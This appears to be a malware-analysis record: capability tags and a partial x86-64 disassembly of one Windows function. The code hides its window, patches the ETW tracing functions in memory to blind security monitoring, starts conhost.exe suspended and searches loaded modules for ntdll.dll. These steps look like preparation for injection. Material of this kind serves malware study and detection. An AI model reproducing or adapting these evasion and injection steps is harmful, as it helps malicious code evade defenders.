Function at 0x10003620
Capabilities:
Create process on windows
Create process suspended
Enumerate process modules
Hide graphical window
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
movdqa xmmword [rsp + 0x440], xmm15
movdqa xmmword [rsp + 0x430], xmm14
movdqa xmmword [rsp + 0x420], xmm13
movdqa xmmword [rsp + 0x410], xmm12
movdqa xmmword [rsp + 0x400], xmm11
movdqa xmmword [rsp + 0x3f0], xmm10
movdqa xmmword [rsp + 0x3e0], xmm9
movdqa xmmword [rsp + 0x3d0], xmm8
movapd xmmword [rsp + 0x3c0], xmm7
movdqa xmmword [rsp + 0x3b0], xmm6
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x104a61b0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x104a6203]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x200], xmm6
movdqa xmmword [rsp + 0x1f0], xmm6
movdqa xmmword [rsp + 0x1e0], xmm6
movdqa xmmword [rsp + 0x1d0], xmm6
movdqa xmmword [rsp + 0x1c0], xmm6
movdqa xmmword [rsp + 0x1b0], xmm6
mov dword [rsp + 0x1a0], 0x70
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x1a0]
mov qword [rsp + 0x40], rbx
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.conhost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x188], rax
call sub.KERNEL32.dll_GetCurrentProcess
mov r14, rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1a0], 8
movdqu xmmword [rsp + 0x1a8], xmm6
mov dword [rsp + 0xe0], 0
mov esi, 8
xor r15d, r15d
xor ebp, ebp
jmp 0x100038ae
mov r15, r12
mov qword [rsp + 0x1b0], r15
mov ebp, r12d
lea r8d, [r15*8]
mov dword [rsp + 0x20], 3
mov rcx, r14
mov rdx, rsi
lea r9, [rsp + 0xe0]
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x10005c83
mov r12d, dword [rsp + 0xe0]
cmp r12d, ebp
jbe 0x10003962
mov rdi, r12
sub rdi, r15
jbe 0x100038a0
mov rax, qword [rsp + 0x1a8]
sub rax, r15
cmp rax, rdi
jb 0x10003938
lea rcx, [rsi + r15*8]
cmp rdi, 2
jb 0x10003929
lea r8, [rdi*8 - 8]
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [r15 + rdi]
lea rcx, [rsi + rax*8]
add rcx, 0xfffffffffffffff8
add r15, rdi
dec r15
mov qword [rcx], 0
inc r15
jmp 0x100038a3
mov rcx, rbx
mov rdx, r15
mov r8, rdi
call fcn.10039210
mov rsi, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b0]
lea rcx, [rsi + r15*8]
cmp rdi, 2
jae 0x10003908
jmp 0x10003929
mov r14d, r12d
shr r14d, 3
cmp r15, r14
jb 0x10005e12
mov edi, eax
cmp r12d, 8
jae 0x10004b85
mov eax, 8
mov qword [rsp + 0x80], rax
xor r12d, r12d
cmp qword [rsp + 0x1a8], 0
je 0x100039aa
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0xd0], r14
test edi, edi
je 0x10005e26
test r12, r12
je 0x10004be3
mov rdx, r12
shl rdx, 4
mov rax, qword [rsp + 0x80]
add rdx, rax
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x178], rcx
lea rbp, [0x104a7400]
mov r14d, 0xff
lea r15, [0x104a748c]
lea rcx, str.library_alloc_src_str.rspeJ
mov qword [rsp + 0xc8], rcx
movapd xmm7, xmmword [0x10047080]
movdqa xmm11, xmmword [0x100470c0]
movdqa xmm12, xmmword [0x100470d0]
movdqa xmm13, xmmword [0x100470e0]
movdqa xmm14, xmmword [0x100470f0]
movdqa xmm15, xmmword [0x10047100]
movdqa xmm8, xmmword [0x10047110]
movdqa xmm9, xmmword [0x10047120]
movdqa xmm6, xmmword [0x10047140]
lea rcx, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x198], rdx
jmp 0x10003a8a
mov rax, qword [rsp + 0xd8]
add rax, 0x10
cmp rax, qword [rsp + 0x198]
je 0x10004be3
movdqu xmm10, xmmword [rax]
mov qword [rsp + 0xd8], rax
mov rsi, qword [rax]
mov r8d, 0x208
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsi]
pshufd xmm0, xmm10, 0xee
movq rdx, xmm0
mov qword [rsp + 0x180], rdx
mov r8, rdi
mov r9d, 0x104
call sub.PSAPI.DLL_GetModuleBaseNameW
test eax, eax
je 0x10005d91
mov r8d, eax
cmp eax, 0x105
jae 0x10005dd6
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10019740
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xf0]
mov r13, rax
test rax, rax
pxor xmm10, xmm10
je 0x10003bd0
lea rbx, [rsi + r13]
xor edi, edi
mov rcx, rsi
jmp 0x10003b4f
add rcx, 2
cmp rax, rbx
cmovne rax, rcx
mov r8d, 2
nop
add rdi, r8
mov rcx, rax
cmp rax, rbx
je 0x10003bd0
lea rax, [rcx + 1]
movzx edx, byte [rcx]
mov r8d, 1
test dl, dl
jns 0x10003b40
cmp dl, 0xe0
jb 0x10003b2d
cmp dl, 0xed
jne 0x10003b91
cmp rax, rbx
je 0x10003bd0
lea rax, [rcx + 2]
cmp rax, rbx
je 0x10003bd0
cmp byte [rcx + 1], 0x9f
ja 0x100048b0
add rcx, 3
mov r8d, 3
mov rax, rcx
jmp 0x10003b40
add rcx, 2
cmp rax, rbx
cmove rcx, rax
xor eax, eax
cmp rcx, rbx
setne al
add rax, rcx
mov r8d, 3
cmp dl, 0xf0
jb 0x10003b40
xor ecx, ecx
cmp rax, rbx
setne cl
add rax, rcx
mov r8d, 4
jmp 0x10003b40
mov rdi, rsi
test r13, r13
je 0x10003c20
js 0x10005d5f
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10003c06
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d50
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x10003c25
jmp 0x10005d50
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rdi, r13
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xc0], rdi
cmp qword [rsp + 0xe8], 0
je 0x10003c62
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
movabs rbx, 0x8080808080808080
test r13, r13
je 0x10003f00
js 0x10005d5f
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10003ca3
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d50
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005d50
mov r12, rax
xor esi, esi
cmp r13, 0x10
jb 0x10003f08
nop dword [rax + rax]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax + rsi]
movdqu xmm0, xmmword [rax + rsi]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, rbx
jne 0x10003f08
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm1, xmm0, 0x44
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm1, 0x18
movsd xmm1, xmm2
shr ecx, 8
movd xmm2, ecx
movdqa xmm3, xmm0
punpcklqdq xmm3, xmm2
andpd xmm1, xmm7
pand xmm3, xmm7
packuswb xmm3, xmm1
movd xmm1, r9d
pshufd xmm1, xmm1, 0x50
movdqa xmm2, xmmword [0x10047090]
pandn xmm2, xmm1
movd xmm1, edx
psllq xmm1, 0x28
movdqa xmm4, xmmword [0x100470a0]
pandn xmm4, xmm1
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov edi, eax
shr edi, 8
shr r8, 0x38
shr r10, 0x30
packuswb xmm3, xmm10
packuswb xmm3, xmm10
por xmm4, xmm2
por xmm4, xmm3
movdqa xmm2, xmmword [0x100470b0]
pand xmm4, xmm2
movd xmm1, r10d
psllq xmm1, 0x30
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm11
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm11
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm12
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm13
movd xmm1, edi
pslldq xmm1, 9
movdqa xmm3, xmm13
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm14
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm14
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm15
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm15
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm8
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm8
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm9
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm9
por xmm3, xmm2
pand xmm3, xmmword [0x10047130]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x10047150]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x10047160]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x10047170]
por xmm1, xmm2
movdqu xmmword [r12 + rsi], xmm1
lea rax, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rax
jbe 0x10003cd0
mov rsi, rax
jmp 0x10003f08
mov r12d, 1
xor esi, esi
mov rax, r13
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1b0], rsi
sub rax, rsi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x190], r13
jne 0x10003f50
mov rsi, r13
jmp 0x100047e5
mov rax, qword [rsp + 0x98]
lea rbx, [rax + rsi]
add rax, r13
mov qword [rsp + 0xa0], rax
xor edi, edi
mov r8, rbx
jmp 0x10003fb0
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov byte [rax + rsi], r12b
inc rsi
mov qword [rsp + 0x1b0], rsi
sub rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0xb8]
add rdi, r8
cmp r8, qword [rsp + 0xa0]
je 0x100047d0
movzx r12d, byte [r8]
test r12b, r12b
js 0x10004010
lea rax, [r8 + 1]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
je 0x10004120
cmp r12d, 0x110000
je 0x100047d0
cmp r12d, 0x80
jae 0x10004090
lea eax, [r12 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r12d
mov r12d, ecx
jmp 0x100043f9
mov eax, r12d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x100040f1
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r12b, 0xf0
jb 0x1000435a
movzx r12d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r12d, 0x3f
or r12d, ecx
or r12d, eax
cmp r12d, 0x110000
je 0x100047d0
lea rax, [r8 + 4]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fd7
jmp 0x10004120
mov eax, 0x57f
xor edx, edx
mov ecx, 0x57f
jmp 0x100040ac
mov rcx, rax
sub rax, rdx
jbe 0x100043f0
shr rax, 1
add rax, rdx
xor r8d, r8d
lea r9, [0x104a7ce8]
cmp dword [r9 + rax*8], r12d
setne r8b
cmovb r8d, r14d
cmp r8b, 1
je 0x100040a0
movzx edx, r8b
cmp edx, 0xff
jne 0x10004388
inc rax
mov rdx, rax
mov rax, rcx
sub rax, rdx
ja 0x100040ac
jmp 0x100043f0
lea rcx, [r8 + 2]
shl eax, 6
or eax, edx
mov r12d, eax
mov rax, rcx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fd7
nop word [rax + rax]
test rdi, rdi
je 0x10004140
cmp rdi, qword [rsp + 0x88]
jae 0x1000413a
cmp byte [rbx + rdi], 0xbf
jg 0x10004140
jmp 0x10005d14
jne 0x10005d14
lea rdx, [rbx + rdi]
xor eax, eax
jmp 0x1000415e
mov al, 1
cmp ecx, 0x110000
jne 0x10004317
cmp rdx, rbx
je 0x100046b0
movzx ecx, byte [rdx - 1]
test cl, cl
js 0x10004180
dec rdx
jmp 0x100041e3
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x100041b0
movzx r9d, byte [rdx - 3]
cmp r9b, 0xc0
jge 0x100041ba
movzx r10d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x100041c2
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x100041cd
add rdx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp ecx, 0x110000
je 0x100046b0
test al, al
jne 0x10004150
mov r9d, ecx
shl r9d, 0xb
mov r8d, 0x23
xor eax, eax
mov r10d, 0x23
jmp 0x10004218
mov r10, r8
sub r8, rax
jbe 0x10004259
shr r8, 1
add r8, rax
mov r12d, dword [rbp + r8*4]
shl r12d, 0xb
xor r11d, r11d
cmp r12d, r9d
setne r11b
cmovb r11d, r14d
cmp r11b, 1
je 0x10004210
movzx eax, r11b
inc r8
cmp eax, 0xff
jne 0x10004256
mov rax, r8
mov r8, r10
sub r8, rax
ja 0x10004218
jmp 0x10004259
mov rax, r8
cmp rax, 0x22
ja 0x10005c57
jne 0x10004273
mov r9d, 0x21
mov r8d, 0x36b
jmp 0x10004289
mov r8d, dword [rbp + rax*4 + 4]
shr r8d, 0x15
test rax, rax
je 0x1000430f
lea r9, [rax - 1]
mov r10d, dword [rbp + r9*4]
mov r9d, 0x1fffff
and r10d, r9d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r9, rax
not r9
add r9, r8
je 0x100042e5
mov r9d, ecx
sub r9d, r10d
dec r8
xor r11d, r11d
mov r10, rax
nop dword [rax + rax]
cmp r10, 0x36a
ja 0x10005089
movzx r12d, byte [r10 + r15]
add r11d, r12d
cmp r11d, r9d
ja 0x100042ef
inc r10
cmp r8, r10
jne 0x100042c0
mov rax, r8
test al, 1
je 0x10004150
jmp 0x100042fa
mov rax, r10
test al, 1
je 0x10004150
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x1000415e
jmp 0x10004317
xor r10d, r10d
jmp 0x10004297
call fcn.1000a910
test al, al
je 0x100046b0
mov r8, rdi
mov rdx, qword [rsp + 0x88]
add r8, 2
je 0x100044b0
mov rdx, qword [rsp + 0x88]
sub rdx, r8
jbe 0x100044aa
cmp byte [rbx + r8], 0xc0
jge 0x100044b0
jmp 0x10005def
lea rdx, [r8 + 3]
shl eax, 0xc
or ecx, eax
mov rax, rdx
mov r12d, ecx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10003fd7
jmp 0x10004120
lea rcx, [0x104a7ce8]
mov r12d, dword [rcx + rax*8 + 4]
mov eax, r12d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp r12d, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne r12d, eax
je 0x100043f0
lea rcx, [rsp + 0x1a0]
mov edx, r12d
call fcn.10006b00
mov dword [rsp + 0xe0], 0
mov r12d, 0x307
jmp 0x10004438
cmp r12d, 0x80
jae 0x10004424
mov rsi, qword [rsp + 0x1b0]
cmp rsi, qword [rsp + 0x1a8]
jne 0x10003f76
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.10006350
jmp 0x10003f6e
mov dword [rsp + 0xe0], 0
cmp r12d, 0x800
jae 0x10004462
mov eax, r12d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xe0], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe1], r12b
mov r12d, 2
jmp 0x1000476c
mov eax, r12d
cmp r12d, 0x10000
jae 0x10004728
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe2], r12b
mov r12d, 3
jmp 0x1000476c
jne 0x10005def
add r8, rbx
add rdx, r8
xor eax, eax
jmp 0x100044de
add r8, 2
shl r9d, 6
or r9d, r11d
mov ecx, r9d
test al, al
je 0x100044f6
nop dword [rax]
mov al, 1
cmp ecx, 0x110000
jne 0x100046a2
cmp r8, rdx
je 0x100046ee
movzx ecx, byte [r8]
test cl, cl
js 0x10004560
inc r8
test al, al
jne 0x100044d0
mov r10d, ecx
shl r10d, 0xb
mov r9d, 0x23
xor eax, eax
mov r11d, 0x23
jmp 0x1000451c
mov r11, r9
sub r9, rax
jbe 0x100045cc
shr r9, 1
add r9, rax
mov r13d, dword [rbp + r9*4]
shl r13d, 0xb
xor r12d, r12d
cmp r13d, r10d
setne r12b
cmovb r12d, r14d
cmp r12b, 1
je 0x10004510
movzx eax, r12b
inc r9
cmp eax, 0xff
jne 0x100045c9
mov rax, r9
mov r9, r11
sub r9, rax
ja 0x1000451c
jmp 0x100045cc
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x100044ba
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp cl, 0xf0
jb 0x1000467f
movzx ecx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
je 0x100046ee
add r8, 4
test al, al
jne 0x100044d0
jmp 0x100044f6
mov rax, r9
cmp rax, 0x22
ja 0x10005c6d
jne 0x100045e6
mov r10d, 0x21
mov r9d, 0x36b
jmp 0x100045fc
mov r9d, dword [rbp + rax*4 + 4]
shr r9d, 0x15
test rax, rax
je 0x1000469a
lea r10, [rax - 1]
mov r11d, dword [rbp + r10*4]
mov r10d, 0x1fffff
and r11d, r10d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r10, rax
not r10
add r10, r9
je 0x10004655
mov r10d, ecx
sub r10d, r11d
dec r9
xor r12d, r12d
mov r11, rax
nop dword [rax + rax]
cmp r11, 0x36a
ja 0x10005143
movzx r13d, byte [r11 + r15]
add r12d, r13d
cmp r12d, r10d
ja 0x1000465f
inc r11
cmp r9, r11
jne 0x10004630
mov rax, r9
test al, 1
je 0x100044d0
jmp 0x1000466a
mov rax, r11
test al, 1
je 0x100044d0
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x100044de
jmp 0x100046a2
add r8, 3
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
test al, al
jne 0x100044d0
jmp 0x100044f6
xor r11d, r11d
jmp 0x1000460a
call fcn.1000a910
test al, al
je 0x100046ee
nop dword [rax + rax]
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x83cf
cmp rax, 2
jae 0x10004710
mov r8d, 2
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.100064b0
mov rax, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1b0]
jmp 0x10004715
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x82cf
cmp rax, 1
jbe 0x100046c6
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov word [rax + rsi], r12w
add rsi, 2
jmp 0x10003f8a
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe2], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe3], r12b
mov r12d, 4
mov rax, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
sub rax, rsi
cmp rax, r12
jae 0x1000479f
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
mov r8, r12
call fcn.100064b0
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
lea rcx, [rax + rsi]
lea rdx, [rsp + 0xe0]
mov r8, r12
call sub.msvcrt.dll_memcpy
add rsi, r12
jmp 0x10003f8a
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov r13, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0xc0]
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x10004815
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005d66
mov qword [0x104b80c8], rax
mov r8d, 9
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005d66
movabs rcx, 0x6c642e6c6c64746e
mov qword [rax], rcx
mov byte [rax + 8], 0x6c
cmp rsi, 9
jne 0x10004863
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
xor rcx, qword [rax]
movzx edx, byte [rdx + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x10005b4c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x1000488c
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
je 0x10003a70
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
jmp 0x10003a70
test r13, r13
js 0x10005d5f
movzx eax, byte [0x104b8120]
mov rax, qword [0x104b80c8]
test rax, rax
jne 0x100048e4
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
mov r12, r13
je 0x10005eff
mov qword [0x104b80c8], rax
mov rcx, rax
xor edx, edx
mov r12, r13
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005eff
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r12
sub r12, rdi
jb 0x100060ad
mov rcx, rax
mov rdx, rsi
mov r8, rdi
mov qword [rsp + 0x78], rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x68], rdi
mov r10, rdi
cmp r12, 2
ja 0x10004953
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add rdi, 3
cmp rdi, r13
ja 0x10005f22
cmp rdi, r13
je 0x10004b21
lea r9, [rsi + rdi]
mov r12, rdi
mov qword [rsp + 0xb8], r9
jmp 0x100049bf
add r9, 2
cmp rax, rbx
cmovne rax, r9
mov r8d, 2
nop word cs:[rax + rax]
add r12, r8
mov r9, rax
cmp rax, rbx
je 0x10004b24
lea rax, [r9 + 1]
movzx edx, byte [r9]
mov r8d, 1
test dl, dl
jns 0x100049b0
cmp dl, 0xe0
jb 0x10004990
cmp dl, 0xed
jne 0x10004a07
cmp rax, rbx
je 0x10004b24
lea rax, [r9 + 2]
cmp rax, rbx
je 0x10004b24
cmp byte [r9 + 1], 0x9f
ja 0x10004a3e
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x100049b0
add r9, 2
cmp rax, rbx
cmove r9, rax
xor eax, eax
cmp r9, rbx
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x100049b0
xor edx, edx
cmp rax, rbx
setne dl
add rax, rdx
mov r8d, 4
jmp 0x100049b0
mov r8, r12
sub r8, rdi
jb 0x10006087
cmp r12, r13
ja 0x1000609b
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x10004a8f
lea rcx, [rsp + 0x58]
mov rdx, r10
mov rdi, r8
call fcn.1001a4b0
mov r10, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov r8, rdi
jmp 0x10004a97
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x78], rcx
add rcx, r10
mov rdx, qword [rsp + 0xb8]
mov rdi, r8
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x70]
add r10, rdi
mov qword [rsp + 0x68], r10
mov rax, qword [rsp + 0xa0]
sub rax, r10
cmp rax, 2
ja 0x10004af1
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, r10
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004af6
mov rcx, qword [rsp + 0x78]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add r12, 3
mov rdi, r12
cmp r12, r13
jbe 0x10004976
jmp 0x10005f25
mov rdi, r13
mov r8, r13
sub r8, rdi
mov rax, qword [rsp + 0x60]
sub rax, r10
cmp rax, r8
jae 0x10004b53
lea rcx, [rsp + 0x58]
mov rdx, r10
mov r13, r8
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004b56
mov r13, r8
add rdi, rsi
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call sub.msvcrt.dll_memcpy
add r13, rdi
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rbx, rbx
jne 0x10003c36
jmp 0x10003bd3
mov rbx, r14
shl rbx, 4
movzx eax, byte [0x104b8120]
mov rcx, qword [0x104b80c8]
test rcx, rcx
jne 0x10004bb7
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e52
mov rcx, rax
mov qword [0x104b80c8], rax
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapAlloc
mov qword [rsp + 0x80], rax
test rax, rax
je 0x10005e52
cmp r14d, 1
jne 0x100050b6
xor eax, eax
jmp 0x10005105
cmp qword [rsp + 0xd0], 0
je 0x10004c04
mov rcx, qword [0x104b80c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
je 0x10005bcf
xor eax, eax
mov qword [rsp + 0x180], rax
movzx eax, byte [0x104b8120]
